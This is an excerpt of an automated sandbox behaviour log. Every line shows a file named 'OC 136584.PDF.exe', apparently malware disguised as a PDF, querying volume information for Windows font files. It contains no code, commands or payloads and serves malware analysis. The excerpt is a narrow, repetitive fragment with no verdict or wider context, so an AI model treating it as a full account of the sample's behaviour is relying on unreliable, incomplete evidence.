Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
